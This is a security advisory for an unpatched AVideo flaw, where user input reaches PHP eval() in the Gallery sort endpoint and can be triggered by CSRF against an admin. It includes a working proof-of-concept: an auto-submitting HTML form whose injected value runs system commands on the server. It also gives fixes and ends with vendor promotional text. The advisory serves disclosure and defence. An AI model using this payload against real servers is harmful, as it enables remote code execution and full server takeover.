GHSA-xggw-g9pm-9qhh
HIGHAVideo has PHP Code Injection via eval() in Gallery saveSort.json.php Exploitable Through CSRF Against Admin
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Gallery plugin's saveSort.json.php endpoint passes unsanitized user input from $_REQUEST['sections'] array values directly into PHP's eval() function. While the endpoint is gated behind User::isAdmin(), it has no CSRF token validation. Combined with AVideo's explicit SameSite=None session cookie configuration, an attacker can exploit this via cross-site request forgery to achieve unauthenticated remote code execution — requiring only that an admin visits an attacker-controlled page.
Details
Vulnerable code — plugin/Gallery/view/saveSort.json.php:20-25:
if(!empty($_REQUEST['sections'])){
$object = $gallery->getDataObject();
foreach ($_REQUEST['sections'] as $key => $value) {
$obj->sectionsSaved[] = array($key=>$value);
eval("\$object->{$value}Order = \$key;");
}
$obj->error = !$gallery->setDataObject($object);
}
The $value variable from $_REQUEST['sections'] is interpolated directly into the string passed to eval() with no sanitization — no allowlist, no regex validation, no escaping. Normal Gallery usage sends section names like 'Shorts', 'Trending', etc. from jQuery UI sortable, but the server enforces no such constraint.
CSRF enablement — objects/include_config.php:134-137:
if ($isHTTPS) {
ini_set('session.cookie_samesite', 'None');
ini_set('session.cookie_secure', '1');
}
The session cookie is explicitly set to SameSite=None, which instructs browsers to send the cookie on cross-site requests. This is also reinforced in objects/functionsPHP.php:330-333 where additional cookies are set with SameSite=None; Secure.
No CSRF protection — The endpoint performs no CSRF token validation, no Origin header check, no Referer header check, and no X-Requested-With header check. There is no global CSRF middleware in AVideo's bootstrap chain.
Exploit chain:
- Attacker crafts a page with an auto-submitting form targeting
saveSort.json.php - Admin visits the attacker's page (e.g., via a link in a comment, email, or message)
- The browser sends the cross-site POST request with the admin's session cookie attached (due to
SameSite=None) User::isAdmin()passes because the admin's session is present- The injected PHP code in the
sectionsarray value is passed toeval()and executes
PoC
Step 1: Host the following HTML on an attacker-controlled server:
<!DOCTYPE html>
<html>
<body>
<form id="exploit" action="https://TARGET/plugin/Gallery/view/saveSort.json.php" method="POST">
<input type="hidden" name="sections[0]" value="x=1;system(base64_decode('aWQ7aG9zdG5hbWU='));//">
</form>
<script>document.getElementById('exploit').submit();</script>
</body>
</html>
The base64 decodes to id;hostname.
Step 2: Lure an authenticated AVideo admin to visit the page.
Step 3: The eval on line 24 executes:
$object->x=1;system(base64_decode('aWQ7aG9zdG5hbWU='));//Order = 0;
This breaks out of the property assignment, calls system() with attacker-controlled arguments, and comments out the rest of the line. The response JSON will contain the command output, but even without seeing the response, the command executes server-side.
Expected result: The id and hostname commands execute on the server under the web server's user context.
Impact
- Remote Code Execution — An attacker achieves arbitrary PHP code execution on the server by luring an admin to visit a malicious page. No prior authentication or account on the target is required.
- Full server compromise — The attacker can read/write files, access the database, pivot to other services, install backdoors, or exfiltrate data.
- Stealth — The attack is a single form submission that completes in milliseconds. The admin may not notice anything unusual.
- Blast radius — Any AVideo instance running over HTTPS (which triggers
SameSite=None) where an admin can be lured to click a link is vulnerable.
Recommended Fix
Primary fix — Replace eval() with an allowlist check:
In plugin/Gallery/view/saveSort.json.php, replace lines 20-26:
if(!empty($_REQUEST['sections'])){
$object = $gallery->getDataObject();
$allowedSections = ['Shorts', 'Trending', 'SiteSuggestion', 'Newest',
'Subscribe', 'Popular', 'LiveStream', 'Category',
'Program', 'Channel'];
foreach ($_REQUEST['sections'] as $key => $value) {
if (!in_array($value, $allowedSections, true)) {
continue;
}
$obj->sectionsSaved[] = array($key => $value);
$property = $value . 'Order';
$object->$property = intval($key);
}
$obj->error = !$gallery->setDataObject($object);
}
This eliminates eval() entirely, validates $value against a known allowlist of section names, and uses dynamic property access ($object->$property) instead of code generation.
Secondary fix — Add CSRF protection to all state-changing endpoints, or at minimum set SameSite=Lax on session cookies instead of SameSite=None in objects/include_config.php:135:
ini_set('session.cookie_samesite', 'Lax');
This prevents session cookies from being sent on cross-site form submissions, blocking the CSRF vector for all endpoints.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of wwbn/avideo has shipped for GHSA-xggw-g9pm-9qhh yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-xggw-g9pm-9qhh is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-xggw-g9pm-9qhh. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-xggw-g9pm-9qhh in your dependencies?
O3 detects GHSA-xggw-g9pm-9qhh across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.